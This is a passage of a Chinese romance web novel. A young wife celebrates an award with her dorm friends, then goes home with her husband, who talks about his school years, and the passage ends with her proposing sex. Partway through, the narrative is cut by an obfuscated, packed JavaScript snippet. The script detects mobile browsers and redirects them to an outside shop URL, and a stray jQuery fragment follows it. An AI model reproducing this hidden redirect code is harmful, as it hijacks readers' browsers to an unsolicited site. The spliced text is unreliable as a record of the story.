餐厅就在江边,从窗望出去,深秋的江面敛去喧嚣,暗沉沉的江水驮着沿岸灯带的粼粼碎光,微风拂过,江水的潮湿夹杂着两岸芦花的气息扑面而来,夜一片静谧。
包间却很热闹。
为了庆祝自己得奖,宁愿大手一挥,豪爽地要了两箱果酒,几杯酒下肚,几个人便彻底放飞自我。
贾以时嫌酒杯太小,干脆直接用瓶喝,喝饱就撑着下巴,有些口齿不清地说:“我们愿愿是我见过最最最最好的人了。”
须臾,她又看向坐在一旁的两个女生,雨露均沾地补充道:“暖暖和秋语你们最最最好。”
“……”她指了指坐在对面从进来就没怎么说话的男人,歪歪扭扭地转过头来看她,“愿愿,你老公叫什么来着?”
“江慕,爱慕的慕。”
宁愿瞥了他一眼,没有错过他略微诧异的目光。他或许没想到自己连这都说了。
她抿唇露出一个羞涩的笑,低下头摆弄着桌面上的筷子。
“江慕!”贾以时中气十足地喝了一声,“你不要以为愿愿没有依靠就可以随便欺负她!”她用力地拍着自己的胸脯,“我的父母就是她的父母。”
“还有我!”宋暖放下筷子紧跟其后。
言秋语也举起手,轻声细语地说:“还有我。”
江慕要开车,还要把几个女生安全送回学校,所以没有喝酒。
他郑重其事地对她们承诺:“请你们放心,我不会欺负她,也不舍得。”
“愿愿你竟然结婚了……”贾以时忽然又抱住她,语无伦次地说,“你以后会补办婚礼的吧,我要给你当伴娘,接亲就从我家走,我爸妈前几天还问我你什么时候回去呢,上次你去我家之后她们就……”
宋暖听了不乐意了,立刻起身把她扒拉开,“不行,凭什么从你家走……”
两人你挠一下,她抓一下,看着架势要大打出手,结果下一秒又举起酒瓶,碰了一下后仰头直灌。
言秋语连忙挤进两人之间,抢走她们手上的酒,把她们分别按在座位上,让她们安静坐好,不准再动,也不准喝酒。
宁愿喝得不少,两颊酡红,思绪像是脱缰的马在脑海里高速奔跑,动作却很迟缓。
她站起身,一阵眩晕忽如其来,身形微微一颤,温热的手掌抚上后腰托住了她的身体,只一瞬他又收回手臂。
腰间弥留的温度一点点向上蔓延,和酒精一起把她的心灼得又胀又满。
她愣愣地看着他,忽然牵住他的手,慢吞吞地转头面对众人,“我有话想说。”
“鼓掌。”贾以时展开双臂,向上一抬,“让我们欢迎这对新人。”
她像是想到了什么,忽然拿出手机,在屏幕上点了几下。
熟悉的、悠扬欢快的婚礼进行曲从听筒里渐渐传来。
宁愿有些恍惚,疾跃的心脏,游离的神经,耳蜗充斥着掌声、音乐声、起哄声,像潮汐一般涌来又褪去。
她想说什么来着?
她压了压太阳穴,不管了。
“今天在场的都是我最重要的人,还有里里。贾以时,日日,我入住寝室的第一天就对我非常非常热情,之后每一天,始终保持着高热情、高活力带我融入寝室,融入班级,就像小太阳一样。我有困难总是第一时间察觉然后出手相助,谢谢你!爱你!”
“我也爱你!”
“暖暖。”她把目光移向中间,那个总是要和她争第一的骄傲女生如今眼里闪着泪光。“我想对你说,我要拿奖学金,所以一定要拿第一!”
“我不要听这个!”宋暖捂住耳朵。
“我知道你当初让我陪你去舞室化妆存着帮助的心思,也非常感谢你对我的帮助,可以说,没有你,就不会有如今得奖的我,谢谢你!爱你!”
她双手比了一个爱心,“我也是。”
“秋语,虽然你很少说话,但我知道你一直很关心我,照顾我,你明明比我还小一点,却又像个姐姐一样,谢谢你,爱你。”
言秋语应该是在场除了江慕最清醒的人。她笑了一下,轻声地说:“不用谢。”
“最后……”她转身面对江慕。
刚才连着发生了好多事,她到现在才有时间好好看他。
他双手抱肩,黑色毛衣包裹流畅而结实的肌肉,蕴着恰到好处的力量感,头微微仰着,目光专注,眼神异常温柔,如同深秋正午的湖水,安静、澄澈,带着暖意。
她忽然觉得很渴,喉咙口像是有一群蚂蚁在爬行啃噬。她端起酒杯猛地把杯里的酒一口灌下,一鼓作气,低下头在他的脸上亲了一口,“我们回家说。”
一声“啊”短促响起,宋暖眼疾手快一巴掌捂住了贾以时的嘴,惊呼声被塞回了喉咙,只剩下几声呜咽淹没在婚礼进行曲中。
……
这一场晚餐一直闹腾到十点才结束,江慕把人送回学校,看着三人互相搀扶,踉踉跄跄地走入寝室楼才驱车离开。
“小桃,我们到家了。”
轻柔的声音悄然钻入耳蜗,宁愿缓缓睁开双眼。他的温柔眼眸被月光照得很亮,爱意满溢,随之倾泻。
她伸出手臂,江慕顺势托住她的腰,把她抱出车,稳稳地朝电梯走去。
“难受吗?”
“还好,”宁愿摇头,“有一点点难受,让你看笑话了,不好意思啊。”
“至情至性怎么会是笑话呢?”他低头用鼻尖蹭了蹭她的额头,“我很羡慕你有这么一群好友。”
电梯停下,门一打开,一阵香气幽幽飘来。门廊前栽着一盆新的花株,冰雕玉砌瓣皎白的细长花瓣围拢着蕊心,整株花枝在夜风中绽放,摇曳。
“是姬月下美人,”宁愿见他停住脚步,顺着他的视线向下,主动解释,“是不是很香?我买的,你喜欢吗?”
“喜欢。”江慕低头在她的唇上啄了一下,抬步走入屋内。
这个原本繁杂但又冷清的屋子在她的加入后变得可爱又活泼。
他们一起抓来的熊猫玩偶摆在沙发靠背的正中间,岛台前两抬椅子紧挨着,台面上,两只只有颜色不一样的陶瓷水杯相邻而放,冰箱上吸着之前他们一起喝奶茶时抢购的限量冰箱贴,阳台上的植物不再是一片颓势,干净翠绿的叶片在清亮的月光下招展……
他微微扬起嘴角,轻手轻脚地把她放在沙发上,摸了摸她的脸颊,“我去给你泡碗解酒茶。”
他走到岛台,从柜子里翻出一包鼓鼓囊囊的保鲜袋,抬眼看见宁愿已经换了姿势,她趴在沙发扶手上,两只手交叠垫在下巴上,是在看他,但目光不太聚焦,不知道是酒意未散还是看得出神。
“这解酒茶还是秦羽霜放在这儿的。”
他从保鲜袋里拿出其中一包,放进她的嫩芽绿色的陶瓷杯中,倒水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747407|209343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,缓步走到她的面前,把水杯放在茶几上,坐在沙发上。
柔软的真皮沙发微微向下凹陷,宁愿翻了个身,转到他身边,躺在他的腿上,直直地看着他垂下的眼。
他眼神柔软,慢悠悠地说:“高考成绩公布前一天,蒋舟紧张得不得了,到我家——那时候我还住在奶奶家,喝得不省人事,直接错过了第二天公布成绩的时间点,还是秦羽霜告诉他的。”
他笑了一下,继续说:“之后,每次他遇到什么事,都会跑我这来喝酒,秦羽霜索性问她的爷爷要了些解酒茶放在我这里备用。”
宁愿的思绪还没跟上,一边玩着他的手指,一边问:“为什么要紧张高考成绩?网上都说有钱人家都会为孩子铺好路,一条不行就走另一条。”
“秦羽霜不想出国,”他说,“而且她答应他,只要考上同一所大学就同意交往。蒋舟估分时和秦羽霜差得有些多。”
“那后来呢?”
“蒋舟以八分惜败秦羽霜,但好在,还是同一所大学。”
“那你呢?”
“我以四分的优势……”
“嗯?”宁愿与他十指交扣,抬起眼望着他。
他轻笑,继续道:“略胜蒋舟。”
“哇,秦羽霜好厉害。”
“嗯,所以我们三个人,只有她成为了管理整个集团产业的总裁。”
或许是刚才见到了她们的友谊,勾起了他的回忆,江慕罕见地回忆起校园时光。他见宁愿有兴趣,娓娓道出年轻时的趣事。
比如,蒋舟和秦羽霜冷战,整个自习课,他光顾着当传声筒替两人传纸条,作业一个字没动,临近下课,三个人才想起“正事”,分工合作赶在下课前把作业上交。
又比如,他喜欢摄影,拍照也好看,蒋舟缠着他学了很久依旧是见鬼的“直男审美”,最后索性放弃挣扎,但凡三个人一起出去玩,他便承担了“为秦羽霜出片”的责任。很长一段时间,学校都谣传他暗恋秦羽霜甘心只当“共友”。
宁愿忽然起身,跨坐在他的腿上,用唇堵住了他的话。算不上一个吻,她只是用力地贴着他的唇没有动。
唇与唇紧紧地合在一起,甚至都变了形,鼻息融合,她呼出的桃子酒味掺杂着他的檀香,化为一道很神奇、让人沉溺的香味,随着呼吸、血液四处逃逸。
“怎……么了?”江慕问。
“江慕,如果我那时就认识你该有多好。”她依旧挨着他的唇,却慢慢松了力道,最后落下一个轻柔的吻,用力地抱住他,趴在了他的肩头。
“为什么?”
“那你就不会觉得孤单了。”因为喝了酒,她的声音黏滞不清,好像是胡言乱语一般。
可他却知道,她再清醒不过,她敏锐地察觉出他言辞里未藏好的情绪。
虽然蒋舟和秦羽霜已经尽可能的不偏不倚,但他始终越不过青梅竹马的情谊。很多时候他们不用交流,只是一个眼神就能了解彼此的心意。渐渐地,他也就习惯了,习惯了自己是后来者。
她蓦地轻轻摇了摇头,自言自语道:“不行,那时的我一定不会和你交朋友,所以现在刚好。”
刚好,她已经渡过了自怜自艾、毁天毁地的猜忌。
“但我会想和你成为朋友。”江慕肯定道。
“江慕。”
“嗯?”
“我们做.爱吧。”